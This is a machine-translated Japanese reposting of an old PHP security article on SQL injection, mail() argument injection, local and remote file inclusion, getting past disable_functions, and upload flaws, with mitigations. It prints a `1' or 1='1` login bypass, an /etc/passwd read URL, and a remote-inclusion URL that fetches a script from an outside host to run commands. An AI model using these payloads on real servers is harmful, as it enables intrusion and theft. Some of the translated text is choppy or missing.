ホームページ  >  記事  >  バックエンド開発  >  PHP セキュリティドッグテール 続き mink_PHP チュートリアル

PHP セキュリティドッグテール 続き mink_PHP チュートリアル

WBOY
WBOYオリジナル
2016-07-15 13:22:56891ブラウズ

Shaun Clowes の記事「Exploiting Common Vulnerabilities in PHP Applications」は実によく書かれており、多くの側面が考慮されています。この記事は記事の続きであり、あまり言及されていないいくつかの問題を追加しています。この記事は、
攻撃ではなく、問題解決に焦点を当てています。
1. 古代の欺瞞的な SQL ステートメント
デフォルト モードでは、php.ini を /usr/local/lib/php.ini にコピーするのを忘れたとしても、php は依然として magic_quotes_gpc=on をオンにします。
このようにして、GET/POST/Cookie からの変数のすべての一重引用符 (')、二重引用符 (")、バックスラッシュ () およびヌル文字 NUL
(ヌル バイト) にバックスラッシュが追加されます。
ただし、php-4-RC2 が設定ファイル php.ini-optimized を導入すると、この最適化された php.ini が
magic_quotes_gpc=off になる場合があります。
/usr/local/lib/php.ini にコピーします。これは、現時点ではより危険です。必要な文字がフィルタされていないと仮定すると、次のようになります。
select * from login where user=' $HTTP_POST_VARS[user] ' and pass='$HTTP_POST_VARS[pass]'
ユーザー ボックスとパスワード ボックスに 1' または 1='1 を入力すると、検証に合格できます。これは非常に古い方法で、このステートメントは
次のように置き換えられます。
select * from login where user='1' or 1='1' and pass='1' or 1='1'
or 1='1' が true なので、解決するのが最善の方法です。不要な文字をすべてフィルタリングし、GET/POST/Cookie から取得され SQL で使用される変数にカスタム関数を追加することをお勧めします
:
function gpc2sql($str) {
if( get_magic_quotes_gpc()==1)
return $str;
else
returnaddslashes($str);
}
主に、プログラムをさまざまなシステムに安全に移植するためのものです
php-4.0.5 では、mail 関数の 5 番目のパラメータです。この関数は、実際に電子メールを送信するときに追加のコマンド ライン パラメーターを設定するために使用される 5 番目のパラメーターを導入しました。しかし、特別な SHELL コマンド文字の適切なチェックがなかったため、コマンドの実行に大きな問題が発生しました。
mail("nobody@aol.com", "件名", $message, "From: webmaster@$SERVER_NAME", "-fwebmaster@$SERVERNAME");
これには問題があります。 mail san@xfocus.org ここで注意してください。PHP マニュアルにはセキュリティ上の問題のある例がいくつかありますが、実際に使用する場合は、その関数の基本的な機能を説明しているだけなので、それを理解してください。
メール関数のこの問題に対して、最も簡単な方法は、第 5 引数を使用しないことです。使用したい場合は、(;) などの不正な文字をフィルターし、メール関数のプログラム ext/standard/mail.c を変更するだけです。
php ソース コード パッケージ。 if (extra_cmd != NULL) { の前に次の行を追加します。
extra_cmd=NULL その後、再コンパイルします。
3. UNIX バージョンの require 関数と include 関数
win バージョンの require 関数と include 関数は HTTP および FTP リモート ファイルのインクルードをサポートしませんが、UNIX バージョンはデフォルトでリモート インクルード ファイルをサポートします。
require と include は、どのような拡張子を持っていても、含まれている場合はプログラムの一部として実行されます。
プログラムを作成するとき、プログラムのモジュール化と移植性を高めるために、必然的に多くの require 関数や include 関数を使用します。
また、次のような変数がパラメーターとして使用されることもあります。現時点では、ユーザーは $something パラメータを制御できますが、この
パラメータはフィルタリングされていません。これは悲惨なことです。
まず、Web ユーザーが読み取り権限を持つファイルを表示できます。プログラムの名前が http://victim/test.php であるとすると、次の
URL: http://victim/test.php を使用できます。 ?something=/etc /passwd /etc/passwd ファイルを参照してください。
さらに、リモート ファイルに含まれる関数を使用してコマンドを実行することもできます。たとえば、www.xfocus.org の下にファイル test.php を作成し、内容が

の場合、次の URL を使用できます:
http://victim/test.php?something=http:// www.xfocus.org/test.php?cmd=uname このメソッドは任意のコマンドを実行します。
この問題は phpMyAdmin でも発生します。phpMyAdmin を使用して、見たいファイルを表示できます。ただし、 include する前に、まず file_exist
関数を使用してファイルが存在するかどうかを判断します。この file_exist はリモート ファイルをサポートしていないため、上記の 2 番目の方法を直接使用することはできません。ただし、Apache のログ機能を使用して、PHP コードで URL をリクエストすることもできます。このように、Apache として指定されたもののログでもコマンドを実行できます。ただし、Apache のログは通常、比較的多くの情報を含んでいます。 。
http://www.securereality.com.au/sradv00008.txt で説明されている方法は、ファイル アップロードを使用してローカルの
実行コマンド スクリプトをアップロードすると、サーバーの一時ファイル アップロード ディレクトリに php8Ta02I が生成されます。この時点ではファイルが存在するため、file_exist関数を通じてアップロードされたファイル内の実行スクリプトを実行できます。 そのため、include 関数と require 関数を使用するときは、特にインクルードされたファイルがパラメーターで指定されている場合、ユーザーがパラメーターを制御してはいけないことに注意する必要があります。 php.ini ファイルを変更して、リモート ファイルの組み込みを削除する機能もあります。これは php-4.0.3 より前では
disable-url-fopen-wrapper とともに使用されていました。それ以降のバージョンでは、allow_url_fopen = off を使用してオフにします。
4. disable_function
php-4.0.1 では、関数 disable_functions が php.ini に導入され、より便利で、いくつかの機能を無効にするために使用できます。
たとえば、php.ini に disable_functions = passthru exec system Popen を追加すると、これらの関数を実行するときに、
警告: system() はセキュリティ上の理由から無効になっています
ああ、しかし実行できないわけではありません。システムコマンド。たとえば、PHP は多くの Perl 機能を使用するため、(`) を使用してコマンドを実行することもできます。

$output = `ls -al`;
echo "

$output
";それをsafe_modeに設定しますが、忌まわしいsafe_modeは制限が多すぎて、他のことを行うのにも少し妨げられます。
5. ファイルのアップロード
php ファイルのアップロードの問題については、http://www.securereality.com.au/sradv00001.html の記事で詳しく説明されています。
これは実際に、ファイルをアップロードする必要があります。ファイルも Web ディレクトリに配置されるため、システムの一部の Web ユーザーが読み取れるファイルを攻撃者が簡単に入手できます。
ありがたいことに、is_uploaded_file 関数と move_uploaded_file 関数は php-4.0.3 以降で提供されています。したがって、php-4.0.3 以降でファイルをアップロードするプログラムでは、代わりに、アップロードされたファイルかどうかを確認する move_uploaded_file 関数を使用してください。 php-4.0.2
以下の場合は、コピー前に関数を追加することをお勧めします:
function is_uploaded_file($filename) {
if (!$tmp_file = get_cfg_var('upload_tmp_dir')) {
$tmp_file = dirname (tempnam ('', ''));
}
$tmp_file.='/'.basename($filename);
/* ユーザーの php.ini の末尾にスラッシュがある可能性があります... */
return (ereg_replace( '/ +', '/', $tmp_file) == $filename);
}
この脆弱性は長い間セキュリティの焦点となってきましたが、コピーする前に多くの検証と判断が必要なため、かなり困難です。攻撃する、ふふ。
また、環境変数、クッキー変数、セッション変数などは、偽造が容易なため、生死の判定条件としては絶対に使用しないでください。
はは、やりたいことはたくさんあるので、思いついたときに追加します。他の同志も自由に追加および修正してください。
参考資料
1. PHP 4 ChangeLog (http://www.php.net/ChangeLog-4.php)
2. Scarlet の研究 - PHP アプリケーションの一般的な脆弱性の悪用
(http://www.securereality.com .au/studyinscarlet.txt) と分析の翻訳。
3. phpMyAdmin および phpPgAdmin のリモート コマンド実行の脆弱性
(http://www.securereality.com.au/sradv00008.txt)





http://www.bkjia.com/PHPjc/446933.html

www.bkjia.com

http://www.bkjia.com/PHPjc/446933.html技術記事 Shaun Clowes の記事「Exploit Common Vulnerabilities in PHP Applications」は実によく書かれており、私の記事はその記事の続きであり、さらにいくつかのことを追加しています...
声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。